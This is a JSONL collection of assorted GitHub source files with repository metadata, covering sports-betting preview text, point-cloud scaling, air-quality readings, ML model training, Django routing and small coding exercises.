+{"seq_id":"18334527760","text":"\"\"\"\nPreview text manager.\n\nCreate texts about current game, teams last games,\ncompare ratings and chances.\n\n\"\"\"\n\nfrom camp.models import GameModel, TeamModel, TourModel\n\nfrom .chances import Chances\nfrom .intro import Intro\nfrom .last_games import LastGames\nfrom .ratings import Ratings\nfrom .total import Total\n\n\nclass Preview:\n\n    def __init__(\n            self,\n            game_data: GameModel,\n            tour_data: TourModel,\n            home_team_data: TeamModel,\n            away_team_data: TeamModel,\n            home_team_last_games: dict,\n            away_team_last_games: dict,\n    ):\n        self.game_data = game_data\n        self.tour_data = tour_data\n        self.home_team_data = home_team_data\n        self.away_team_data = away_team_data\n        self.home_team_last_games = home_team_last_games\n        self.away_team_last_games = away_team_last_games\n\n    def create_preview(self) -> dict:\n        game_date = self.game_data.game_date.strftime('%B %d')\n        game_time = self.game_data.game_date.strftime('%H:%M')\n        stadium = self.game_data.venue\n\n        intro = Intro(\n            tour_data=self.tour_data,\n            home_team_data=self.home_team_data,\n            away_team_data=self.away_team_data,\n            game_date=game_date,\n            game_time=game_time,\n            stadium=stadium,\n        ).create_text()\n\n        chances = Chances(\n            home_team_data=self.home_team_data,\n            away_team_data=self.away_team_data,\n            odds=self.game_data.game_outcome_odds,\n        ).create_text()\n\n        total = Total(\n            odds=self.game_data.game_total_odds,\n        ).create_text()\n\n        home_team_last_games = ''\n        if len(self.home_team_last_games['last_games']) > 0:\n            home_team_last_games = LastGames(\n                team_data=self.home_team_data,\n                last_games=self.home_team_last_games['last_games'],\n            ).create_text()\n\n        away_team_last_games = ''\n        if len(self.away_team_last_games['last_games']) > 0:\n            away_team_last_games = LastGames(\n                team_data=self.away_team_data,\n                last_games=self.away_team_last_games['last_games'],\n            ).create_text()\n\n        ratings = Ratings(\n            home_team_data=self.home_team_data,\n            away_team_data=self.away_team_data,\n        ).create_text()\n\n        return {\n            'intro': intro,\n            'chances': chances,\n            'total': total,\n            'home_team_last_games': home_team_last_games,\n            'away_team_last_games': away_team_last_games,\n            'ratings': ratings,\n        }\n","repo_name":"strecobyasha/bettingtools","sub_path":"app/camp/preview_text_generator/text_manager.py","file_name":"text_manager.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32464358100","text":"import json\n\ndef create_csv(input_file, output_file):\n\n    label_kinds = [\"FOOD#QUALITY\", \"RESTAURANT#GENERAL\", \"SERVICE#GENERAL\", \"AMBIENCE#GENERAL\",\n                   \"RESTAURANT#MISCELLANEOUS\", \"FOOD#PRICES\", \"RESTAURANT#PRICES\", \"DRINKS#QUALITY\",\n                   \"LOCATION#GENERAL\", \"DRINKS#PRICES\"]\n\n    sentences = []\n    labels = []\n\n    with open(input_file) as j:\n        reviews = json.load(j)['Reviews']['Review']\n        for d in reviews:\n            for s in d[\"sentences\"]['sentence']:\n                # register words\n                if \"@OutOfScope\" not in s and \"Opinions\" in s and \"text\" in s:\n                    if isinstance(s[\"Opinions\"][\"Opinion\"], list):\n                        annotations = [o[\"@category\"] for o in s[\"Opinions\"][\"Opinion\"]]\n                    else:\n                        annotations = [s[\"Opinions\"][\"Opinion\"][\"@category\"]]\n                if len(annotations) > 0:\n                    try:\n                        row = []\n                        for k in label_kinds:\n                            if k in annotations:\n                                row.append('1')\n                            else:\n                                row.append('0')\n                        labels.append(row)\n                        sentences.append(s['text'])\n                    except TypeError:\n                        continue\n\n    with open(output_file, 'w') as file:\n        file.write('text_' + \"_\".join(label_kinds) + \"\\n\")\n        for i in range(len(sentences)):\n            line = sentences[i] + str('_') + \"_\".join(labels[i]) + \"\\n\"\n            try:\n                file.write(line)\n            except UnicodeEncodeError:\n                continue\n\ncreate_csv(\"Data/ABSA-15_Restaurants_Train.json\", 'Data/aspects_train.csv');\ncreate_csv(\"Data/ABSA15_Restaurants_Test.json\", 'Data/aspects_test.csv');","repo_name":"Sentylic/Aspect-Extraction","sub_path":"csv_generator.py","file_name":"csv_generator.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38594652897","text":"import sys, os\n\n# Add the igl library to the modules search path\nsys.path.insert(0, os.getcwd() + \"/../\")\nimport pyigl as igl\n\nfrom shared import TUTORIAL_SHARED_PATH, check_dependencies\n\ndependencies = [\"glfw\"]\ncheck_dependencies(dependencies)\n\nV = igl.eigen.MatrixXd()\nF = igl.eigen.MatrixXi()\n\nigl.readOFF(TUTORIAL_SHARED_PATH + \"camelhead.off\", V, F)\n\n# Find boundary edges\nE = igl.eigen.MatrixXi()\nigl.boundary_facets(F, E)\n\n# Find boundary vertices\nb = igl.eigen.MatrixXi()\nIA = igl.eigen.MatrixXi()\nIC = igl.eigen.MatrixXi()\n\nigl.unique(E, b, IA, IC)\n\n# List of all vertex indices\nvall = igl.eigen.MatrixXi()\nvin = igl.eigen.MatrixXi()\n\nigl.coloni(0, V.rows() - 1, vall)\n\n# List of interior indices\nigl.setdiff(vall, b, vin, IA)\n\n# Construct and slice up Laplacian\nL = igl.eigen.SparseMatrixd()\nL_in_in = igl.eigen.SparseMatrixd()\nL_in_b = igl.eigen.SparseMatrixd()\n\nigl.cotmatrix(V, F, L)\nigl.slice(L, vin, vin, L_in_in)\nigl.slice(L, vin, b, L_in_b)\n\n# Dirichlet boundary conditions from z-coordinate\nbc = igl.eigen.MatrixXd()\nZ = V.col(2)\nigl.slice(Z, b, bc)\n\n# Solve PDE\nsolver = igl.eigen.SimplicialLLTsparse(-L_in_in)\nZ_in = solver.solve(L_in_b * bc)\n\n# slice into solution\nigl.slice_into(Z_in, vin, Z)\n\n# Alternative, short hand\nmqwf = igl.min_quad_with_fixed_data()\n\n# Linear term is 0\nB = igl.eigen.MatrixXd()\nB.setZero(V.rows(), 1)\n\n# Empty constraints\nBeq = igl.eigen.MatrixXd()\nAeq = igl.eigen.SparseMatrixd()\n\n# Our cotmatrix is _negative_ definite, so flip sign\nigl.min_quad_with_fixed_precompute(-L, b, Aeq, True, mqwf)\nigl.min_quad_with_fixed_solve(mqwf, B, bc, Beq, Z)\n\n# Pseudo-color based on solution\nC = igl.eigen.MatrixXd()\nigl.jet(Z, True, C)\n\n# Plot the mesh with pseudocolors\nviewer = igl.glfw.Viewer()\nviewer.data().set_mesh(V, F)\nviewer.data().show_lines = False\nviewer.data().set_colors(C)\nviewer.launch()\n","repo_name":"wsnewman/learning_ros","sub_path":"extern/libigl/python/tutorial/303_LaplaceEquation.py","file_name":"303_LaplaceEquation.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":337,"dataset":"github-code","pt":"60"}
+{"seq_id":"34814810070","text":"# -*- coding: utf-8 -*-\n\nfrom ..nuts.danglies import get_bits\nfrom ..memdecay import memdecay\n\n\ndef list_clusters(manager='', filter=None, max=None):\n    ''' Return the names of configured ovirt clusters as well as the name of its\n    ovirt/rhev-m manager.\n\n    Optional Parameters:\n        - manager: the manager from which to retrieve the list of guests,\n                   otherwise all registered managers will be queried.\n                   (see ovirt.list_managers)\n        - filter:  uses the ovirt (GUI filter) to execute server-side query\n                   filtering. If it works in the GUI, it'll work here.\n        - max:     the maximum number of vms to return. Note: This is not a\n                   cursor.  Submitting additional requests with identical\n                   parameters will yield identical results (unless vms have\n                   been added or removed).\n\n                   Querying multiple managers will return (roughly) 'max' in\n                   total\n\n    CLI Example::\n\n        salt '*' ovirt.list_clusters manager=vman-02.law\n        salt '*' ovirt.list_clusters manager=vman-02.law max=10\n        salt '*' ovirt.list_clusters filter='name=dr-* and host=hyper-1-0*.mn'\n\n    '''\n\n    managers = [ get_alias(t) for t in list_managers() if re.search(manager, t) ]\n\n    retval = {}\n\n    for m in managers:\n        handle = get_conn(m).connection\n        retval.update({m: [cluster.name for cluster in get_bits('clusters', m, filter, max / len(managers))]})\n\n    return retval\n\n\n\n\n\n\n\n\n\n\n","repo_name":"gladiatr72/pyOvirt","sub_path":"pyOvirt/ovirt/clusters.py","file_name":"clusters.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11703567391","text":"# Next Prime\n\n# Given a prime number, return the next smallest prime number\n\n# Examples:\n# Input: 3\n# Output: 5\n\n#Understand\n\n#   Edge cases:\n#     Input:\n#     Output:\n\n#Match\n#brute force\n\n#Plan\n#Let set input = n\n#loop from n to 2n\n#if number is a prime number, return number\n#else, continue\n\ndef is_prime(n):\n  for i in range(2,n):\n    if n%i==0:\n      return False\n  return True\n\ndef next_prime(n):\n  for i in range(n+1, 2*n):\n    if is_prime(i):\n      return i\n    else:\n      continue\n\n#Review\ntest1 = 3\nprint(next_prime(test1), '| Expected: 5')\n\n#Evaluate\n#Runtime = O(n^2)\n#Space Compexity = O(1)\n\n#********************************\n#  time spend: 10m 10s\n#********************************\n","repo_name":"HsinTingHo/CodeTime","sub_path":"week01_warmup/next_prime.py","file_name":"next_prime.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10115859460","text":"import frappe\nfrom frappe import _, cint\nfrom frappe.utils import get_datetime\nfrom frappe.model.document import Document\nfrom datetime import timedelta\n\n\nclass MonitorReading(Document):\n\tdef validate(self):\n\t\tself.validate_duplicate()\n\n\tdef on_update(self):\n\t\tclear_reading_cache()\n\t\tself.update_air_monitor()\n\n\tdef on_trash(self):\n\t\tclear_reading_cache()\n\t\tself.update_air_monitor()\n\n\tdef validate_duplicate(self):\n\t\texisting = frappe.db.get_value(\"Monitor Reading\", {\n\t\t\t\"air_monitor\": self.air_monitor,\n\t\t\t\"reading_dt\": self.reading_dt,\n\t\t\t\"name\": [\"!=\", self.name]\n\t\t})\n\n\t\tif existing:\n\t\t\tfrappe.throw(_(\"Monitor Reading for Air Monitor {0} at {1} already exists ({2})\").format(\n\t\t\t\tfrappe.bold(self.air_monitor),\n\t\t\t\tfrappe.bold(self.get_formatted(\"reading_dt\")),\n\t\t\t\tfrappe.utils.get_link_to_form(\"Monitor Reading\", existing)\n\t\t\t))\n\n\tdef update_air_monitor(self):\n\t\tair_monitor = frappe.get_doc(\"Air Monitor\", self.air_monitor)\n\t\tair_monitor.set_first_last_reading(update=True)\n\n\ndef clear_reading_cache():\n\tcache_keys = [\"latest_monitor_reading_dt\"]\n\tfor key in cache_keys:\n\t\tfrappe.cache().delete_key(key)\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_latest_readings(for_datetime=None, window_minutes=60):\n\tfrom aqi.air_quality.doctype.air_monitor.air_monitor import _get_monitors\n\n\tif not for_datetime:\n\t\tfor_datetime = get_latest_reading_dt()\n\n\tmonitors = _get_monitors(filters={\"first_reading_dt\": [\"<=\", for_datetime]})\n\tmonitors_map = {}\n\tfor d in monitors:\n\t\td.has_reading = False\n\t\tmonitors_map[d.name] = d\n\n\tout = frappe._dict({\n\t\t\"readings\": [],\n\t\t\"monitors\": monitors_map,\n\t\t\"latest_reading_dt\": None,\n\t\t\"from_dt\": None,\n\t\t\"to_dt\": None\n\t})\n\n\tif not for_datetime:\n\t\treturn out\n\n\twindow_minutes = cint(window_minutes)\n\tif window_minutes <= 0:\n\t\tfrappe.throw(_(\"window_minutes must be a positive integer\"))\n\tif window_minutes > 1440:\n\t\tfrappe.throw(_(\"window_minutes cannot be greater than 1440 minutes\"))\n\n\tfor_datetime = get_datetime(for_datetime)\n\tout.to_dt = for_datetime\n\tout.from_dt = out.to_dt - timedelta(minutes=window_minutes)\n\n\treadings = get_monitor_readings(out.from_dt, out.to_dt)\n\tif readings:\n\t\tout.latest_reading_dt = readings[0].reading_dt\n\n\tair_monitors_visited = set()\n\tfor d in readings:\n\t\tif d.air_monitor not in air_monitors_visited:\n\t\t\tair_monitors_visited.add(d.air_monitor)\n\t\t\tout.readings.append(d)\n\n\tfor monitor in air_monitors_visited:\n\t\tif monitors_map.get(monitor):\n\t\t\tmonitors_map[monitor].has_reading = True\n\n\treturn out\n\n\ndef get_monitor_readings(from_dt, to_dt):\n\tif not from_dt or not to_dt:\n\t\tfrappe.throw(_(\"From Datetime and To Datetime is required\"))\n\n\targs = frappe._dict({\n\t\t\"from_dt\": from_dt,\n\t\t\"to_dt\": to_dt,\n\t})\n\n\treturn frappe.db.sql(\"\"\"\n\t\tselect r.name, r.reading_dt,\n\t\t\tr.air_monitor,\n\t\t\tr.pm_2_5, r.aqi_us, r.outdoor_pm_2_5, r.outdoor_aqi_us,\n\t\t\tr.temperature, r.relative_humidity, r.co2\n\t\tfrom `tabMonitor Reading` r\n\t\tinner join `tabAir Monitor` m on m.name = r.air_monitor\n\t\twhere reading_dt between %(from_dt)s and %(to_dt)s and m.disabled = 0\n\t\torder by reading_dt desc\n\t\"\"\", args, as_dict=1)\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_latest_reading_dt():\n\tlastest_reading_dt = frappe.cache().get_value(\"latest_monitor_reading_dt\", _get_latest_reading_dt)\n\treturn get_datetime(lastest_reading_dt) if lastest_reading_dt else None\n\n\ndef _get_latest_reading_dt():\n\tlatest = frappe.db.sql(\"\"\"\n\t\tselect reading_dt\n\t\tfrom `tabMonitor Reading`\n\t\torder by reading_dt desc\n\t\tlimit 1\n\t\"\"\")\n\n\treturn latest[0][0] if latest else None\n","repo_name":"ParaLogicTech/aqi","sub_path":"aqi/air_quality/doctype/monitor_reading/monitor_reading.py","file_name":"monitor_reading.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27851368463","text":"#Authors: Duy Thanh Tran, Prof. Jun-Ho Huh, Prof. Jae-Hwan Kim\r\n#Data Science Lab - KMOU\r\n#Department of Data Science, (National) Korea Maritime and Ocean University, Busan 49112, Republic of Korea.\r\n#Created Date: May-17/2022\r\n# Model 1 (trend)\r\nfrom sklearn.linear_model import LinearRegression, ElasticNet, Lasso, Ridge\r\n\r\n# Model 2\r\nfrom sklearn.ensemble import ExtraTreesRegressor, RandomForestRegressor\r\nfrom sklearn.neighbors import KNeighborsRegressor\r\nfrom sklearn.neural_network import MLPRegressor\r\nfrom xgboost import XGBRegressor\r\nfrom LucyDataExecutor import LucyDataExecutor\r\nfrom LucyHybrid import LucyHybrid\r\nfrom LucyUtil import LucyUtil\r\n\r\nplot_params = dict(\r\n    color=\"0.75\",\r\n    style=\".-\",\r\n    markeredgecolor=\"0.25\",\r\n    markerfacecolor=\"0.25\",\r\n    legend=False,\r\n)\r\n\r\ndataexec=LucyDataExecutor()\r\ndataexec.load_data()\r\ndataexec.normalize(2017)\r\ndataexec.setup_feature_target()\r\n\r\nmodel_on_trends=[LinearRegression(),ElasticNet(),Lasso(),Ridge()]\r\nmodel_onresiduals=[ExtraTreesRegressor(),RandomForestRegressor(),\r\n                    KNeighborsRegressor(),MLPRegressor(),XGBRegressor()\r\n                   ]\r\nfor model1 in model_on_trends:\r\n    for model2 in model_onresiduals:\r\n        model = LucyHybrid(\r\n            model_1=model1,\r\n            model_2=model2,\r\n        )\r\n        traindate=\"2017-07-01\"\r\n        validdate=\"2017-07-02\"\r\n        y_train, y_valid = dataexec.y_train_valid(traindate, validdate)\r\n        X1_train, X1_valid = dataexec.X1_train_valid(traindate,validdate)\r\n        X2_train, X2_valid = dataexec.X2_train_valid(traindate,validdate)\r\n        #call fit method\r\n        model.fit(X1_train, X2_train, y_train)\r\n        #call predict method\r\n        y_fit = model.predict(X1_train, X2_train).clip(0.0)\r\n        y_pred = model.predict(X1_valid, X2_valid).clip(0.0)\r\n\r\n        metric=model.evaluate(y_train,y_fit,y_valid,y_pred)\r\n        print(\"*\"*50)\r\n        hybridname=model1.__class__.__name__+\"_\"+model2.__class__.__name__\r\n        print(hybridname)\r\n        metric.printmetric()\r\n        LucyUtil.savemodel(model, \"models\\\\\"+hybridname+\".zip\")","repo_name":"thanhtd32/LucyHybrid","sub_path":"RunMultiple_LucyHybridModel.py","file_name":"RunMultiple_LucyHybridModel.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6031584035","text":"\n\nimport time\nfrom laspy.file import File\nimport math\nimport sys\nimport os\nfrom gooey import Gooey, GooeyParser\nimport subprocess\nimport datetime\nfrom shutil import copyfile\nimport glob\nfrom multiprocessing import Pool,freeze_support\nimport json\nsys.path.append('{0}/lib/atlass/'.format(sys.path[0]).replace('\\\\','/'))\nfrom Atlass_beta1 import *\n#-----------------------------------------------------------------------------------------------------------------\n#Gooey input\n#-----------------------------------------------------------------------------------------------------------------\n\n\n@Gooey(program_name=\"Scale data using Point of Origin\", use_legacy_titles=True, required_cols=2, default_size=(1120,920))\ndef param_parser():\n    stored_args = {}\n    # get the script name without the extension & use it to build up\n    # the json filename\n    script_name = os.path.splitext(os.path.basename(__file__))[0]\n    congifg_folder = AtlassGen.makedir(\"C:\\\\pythontools\")\n    args_file = os.path.join(congifg_folder,\"{}-args.json\".format(script_name))\n    # Read in the prior arguments as a dictionary\n    if os.path.isfile(args_file):\n        with open(args_file) as data_file:\n            stored_args = json.load(data_file)\n\n    parser=GooeyParser(description=\"Scale data using Point of Origin\")\n    parser.add_argument(\"inputfolder\", metavar=\"LAS file Folder\", widget=\"DirChooser\", help=\"Select las file folder\", default=stored_args.get('inputfolder'))\n    parser.add_argument(\"filetype\",metavar=\"Input File Pattern\", default='laz')\n    parser.add_argument(\"layoutfile\", metavar=\"TileLayout file\", widget=\"FileChooser\", help=\"TileLayout file(.json)\", default=stored_args.get('layoutfile'))\n    parser.add_argument(\"outputfolder\", metavar=\"Output Directory\",widget=\"DirChooser\", help=\"Output directory\", default=stored_args.get('outputfolder'))\n    parser.add_argument(\"xshift\",metavar=\"X block shift\", type=float, default=stored_args.get('xshift'))\n    parser.add_argument(\"yshift\",metavar=\"Y block shift\", type=float,default=stored_args.get('yshift'))\n    parser.add_argument(\"xorigin\",metavar=\"X origin\", type=float, default=stored_args.get('xorigin'))\n    parser.add_argument(\"yorigin\",metavar=\"Y origin\", type=float,default=stored_args.get('yorigin'))\n    parser.add_argument(\"scalar\",metavar=\"Scale Factor\", type=float, default=stored_args.get('scalar'))\n    parser.add_argument(\"-cores\",metavar=\"Cores\", type=int, default=12)\n\n    args = parser.parse_args()\n\n    # Store the values of the arguments so we have them next time we run\n    with open(args_file, 'w') as data_file:\n        # Using vars(args) returns the data as a dictionary\n        json.dump(vars(args), data_file)\n\n    return args\n\n#-----------------------------------------------------------------------------------------------------------------\n# Functions\n#-----------------------------------------------------------------------------------------------------------------\n\ndef shiftNscale(datalist,shift,xorigin,scale):\n    \n\n    newlist = datalist\n    newlist += shift\n    newlist -= xorigin\n    newlist *= scale\n    newlist += xorigin\n\n    return(newlist)\n\n\n\ndef convertFile(tilename,inputfolder,xorigin,yorigin,scalar,xshift,yshift,outputfolder,filetype):\n    \n    inputfile=os.path.join(inputfolder, '{0}.{1}'.format(tilename,filetype)).replace('\\\\','/')\n    temp_outputfile = os.path.join(outputfolder, '{0}.{1}'.format(tilename,'las')).replace('\\\\','/')\n    outputfile = os.path.join(outputfolder, '{0}.{1}'.format(tilename,filetype)).replace('\\\\','/')\n\n    try:\n        inFile = File(inputfile, mode='r')\n\n        header = inFile.header\n        outfile = File(temp_outputfile, mode=\"w\", header=header,)\n    \n        tic = time.perf_counter()\n        xvalues=inFile.get_x_scaled()\n        newxvals = shiftNscale(xvalues,xshift,xorigin,scalar)\n        yvalues=inFile.get_y_scaled()\n        newyvals = shiftNscale(yvalues,yshift,yorigin,scalar)\n    \n        outfile.points = inFile.points\n        outfile.set_x_scaled(newxvals)\n        outfile.set_y_scaled(newyvals)\n\n        \n        toc = time.perf_counter()\n\n        outfile.close()\n\n        subprocessargs=['C:/LAStools/bin/las2las.exe', '-i', temp_outputfile, '-olaz', '-o', outputfile]\n        subprocessargs=list(map(str,subprocessargs))    \n        p = subprocess.run(subprocessargs,stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=False, check=True, universal_newlines=True)\n\n        log =f\"{tilename} : Convertion completed in {toc - tic:0.4f}s\"\n        print(log)\n\n        if os.path.isfile(outputfile):\n            os.remove(temp_outputfile)\n\n        return(True,outputfile,log)\n\n    except:\n\n        log =f\"{tilename} : Convertion Failed\"\n        print(log)\n        outfile.close()\n        return(False,tilename,log)\n\n\n#-----------------------------------------------------------------------------------------------------------------\n#Main entry point\n#-----------------------------------------------------------------------------------------------------------------\n\n\ndef main():\n    #Set Arguments\n    args = param_parser()\n\n    inputfolder = args.inputfolder\n\n    xshift = args.xshift\n    yshift = args.yshift\n    xorigin=args.xorigin\n    yorigin=args.yorigin\n    scalar=args.scalar\n    filetype = args.filetype\n    tilelayoutfile = args.layoutfile\n    outputdir = args.outputfolder\n    cores=args.cores\n\n    tl_out = AtlassTileLayout()\n    tl_out.fromjson(tilelayoutfile)\n    \n    dt = strftime(\"%y%m%d_%H%M\")\n        \n    outputfolder = AtlassGen.makedir(os.path.join(outputdir, (dt+'_ScaledData')).replace('\\\\','/'))\n    \n    tasks = {}\n    print(\"Programming Starting\")\n    print(\"No of tiles in the tilelayout : {0}\\n\".format(len(tl_out)))\n    for tile in tl_out: \n        tilename = tile.name\n\n\n        tasks[tilename]= AtlassTask(tilename,convertFile,tilename,inputfolder,xorigin,yorigin,scalar,xshift,yshift,outputfolder,filetype)\n    \n    p=Pool(processes=cores)    \n    results=p.map(AtlassTaskRunner.taskmanager,tasks.values())\n\n\n    return()\n\nif __name__ == \"__main__\":\n    main() \n\n ","repo_name":"maneshadslv/AtlassTools","sub_path":"ScaleData.py","file_name":"ScaleData.py","file_ext":"py","file_size_in_byte":6046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29678077454","text":"import numpy as np\nfrom netCDF4 import Dataset\n\nFILE = r\"C:\\Users\\Robert\\PycharmProjects\\TropicalCyclonesMSci\\simpleret_re_data.v1.nc\"\n\nRAD3770 = None\nRE = None\nSATZ = None\nSOLZ = None\nRAZ = None\n\nwith Dataset(FILE) as rootgrp:\n    RE = np.array(rootgrp[\"re\"])[::-1]\n    SATZ = np.array(rootgrp[\"satz\"])\n    SOLZ = np.array(rootgrp[\"solz\"])\n    RAZ = np.array(rootgrp[\"raz\"])\n    RAD3770 = np.array(rootgrp[\"rad3770\"])\n\n\ndef reduce(satz, solz, raz):\n    solz_where = np.argmin(np.abs(SOLZ - solz))\n    satz_where = np.argmin(np.abs(SATZ - satz))\n    raz_where = np.argmin(np.abs(RAZ - raz))\n\n    return RAD3770[:, solz_where, satz_where, raz_where]\n\n\ndef get_re(i4_r, satz, solz, raz, nan_out_of_range=False):\n    re_lut = reduce(satz, solz, raz)[::-1]\n    if nan_out_of_range:\n        return np.interp(i4_r, re_lut, RE, left=np.nan, right=np.nan)\n    return np.interp(i4_r, re_lut, RE)\n","repo_name":"OneOneFour/TropicalCyclonesMSci","sub_path":"src/inspect_nc.py","file_name":"inspect_nc.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31799960282","text":"from django.contrib import admin\nfrom django.conf.urls.static import static\nfrom django.urls import path, include\nfrom django.conf import settings\n\nfrom config.views import home\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n\n    path('', home, name='home'),\n\n    path('account/', include('allauth.urls')),\n\n    path('custom_account/', include('custom_account.urls')),\n    path('banner/', include('banner.urls')),\n    path('cart/', include('cart.urls')),\n    path('order/', include('order.urls')),\n    path('product/', include('product.urls')),\n    path('popup/', include('popup.urls')),\n]\n\nurlpatterns += [\n    path('__debug__/', include('debug_toolbar.urls')),\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"cwadven/NullyDjangoTemplate","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38945493367","text":"from sys import argv\n\n# This reflects the value of the macro in main.c\nN_TESTS=1000\n\nfor filename in argv[1:]:\n    with open(filename, 'r') as fp:\n        data = fp.readlines()\n        cycles = []\n        instructions = []\n        time = []\n        ins_per_cycle = []\n        i = 0\n        for line in data:\n            line = line.lstrip()\n            if \"seconds time elapsed\" in line:\n                t = float(line.split('+')[0].split(' ')[0].replace(',', '.'))\n                time.append(str(t/N_TESTS)+'\\n')\n                ins_per_cycle.append(\n                    str(float(instructions[i]) / float(cycles[i]))+'\\n')\n                i += 1\n                continue\n            if \"cycles\" in line:\n                c = float(line.split('      ')[\n                              0].replace('\\u202f', ''))\n                cycles.append(str(c/N_TESTS)+'\\n')\n            elif \"instructions\" in line:\n                ins = float(line.split('      ')[0].replace('\\u202f', ''))\n                instructions.append(\n                    str(ins/N_TESTS)+'\\n')\n    with open(filename.replace(\"perf\", \"cycles\"), 'w') as fp:\n        fp.writelines(cycles)\n    with open(filename.replace(\"perf\", \"time\"), 'w') as fp:\n        fp.writelines(time)\n    with open(filename.replace(\"perf\", \"instructions\"), 'w') as fp:\n        fp.writelines(instructions)\n    with open(filename.replace(\"perf\", \"ins_per_cycle\"), 'w') as fp:\n        fp.writelines(ins_per_cycle)\n","repo_name":"ddealmei/dragonstar","sub_path":"scripts/perf_evaluation/parse_perf.py","file_name":"parse_perf.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29397846775","text":"# Programa que recebe 3 números inteiros e retorna o maior deles\n\nn = int(input(\"Insira um número inteiro: \"))\nn1 = int(input(\"Insira outro número inteiro: \"))\nn2 = int(input(\"Insira um último número: \"))\n\nif n > n1 and n > n2:\n    print(f\"O maior número é {n}\")\nelif n1 > n and n1 > n2:\n    print(f\"O maior número é {n1}\")\nelse:\n    print(f\"O maior número é {n2}\")\n","repo_name":"vwnxvinicius/exercicios_python","sub_path":"Estrutura_de_decisão/exercicio_06.py","file_name":"exercicio_06.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5595892876","text":"\"\"\"Renamed event_id to event\n\nRevision ID: a1869a1eb145\nRevises: 528cd10edcce\nCreate Date: 2019-11-21 20:01:32.404974\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a1869a1eb145'\ndown_revision = '528cd10edcce'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('badge', schema=None) as batch_op:\n        batch_op.alter_column('event_id', nullable=False, new_column_name='event')\n\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('badge', schema=None) as batch_op:\n        batch_op.alter_column('event', nullable=False, new_column_name='event_id')\n\n\n    # ### end Alembic commands ###\n","repo_name":"magfest/tuber","sub_path":"backend/tuber/migrations/versions/a1869a1eb145_renamed_event_id_to_event.py","file_name":"a1869a1eb145_renamed_event_id_to_event.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"72737927231","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Nov 11 02:46:55 2020\r\n\r\n@author: super\r\n\"\"\"\r\n\r\nkod1 = input(\"Enter code:\")\r\nkod2 = input(\"Enter code2:\")\r\n\r\nif kod1 == kod2: \r\n    print (\"ok\")\r\nelse:\r\n    print (\"wrong\")","repo_name":"SuperPavloWW/python-studia","sub_path":"studia/ZapisDanych.py","file_name":"ZapisDanych.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39035048778","text":"from collections import deque\nimport math\n\ndef solution(n, stations, w):\n    stations = deque(stations)\n    ans = 0\n    s = 1\n\n    while stations:\n        tmp_station = stations.popleft()\n        ans += max(math.ceil((tmp_station - s - w) / (2*w+1)) , 0)\n        s = tmp_station + w + 1\n\n    if n >= s:\n        ans += max(math.ceil((n - s + 1) / (2*w+1)) , 0)\n\n    return ans","repo_name":"wogkr810/coding-test","sub_path":"프로그래머스/lv3/12979. 기지국 설치/기지국 설치.py","file_name":"기지국 설치.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
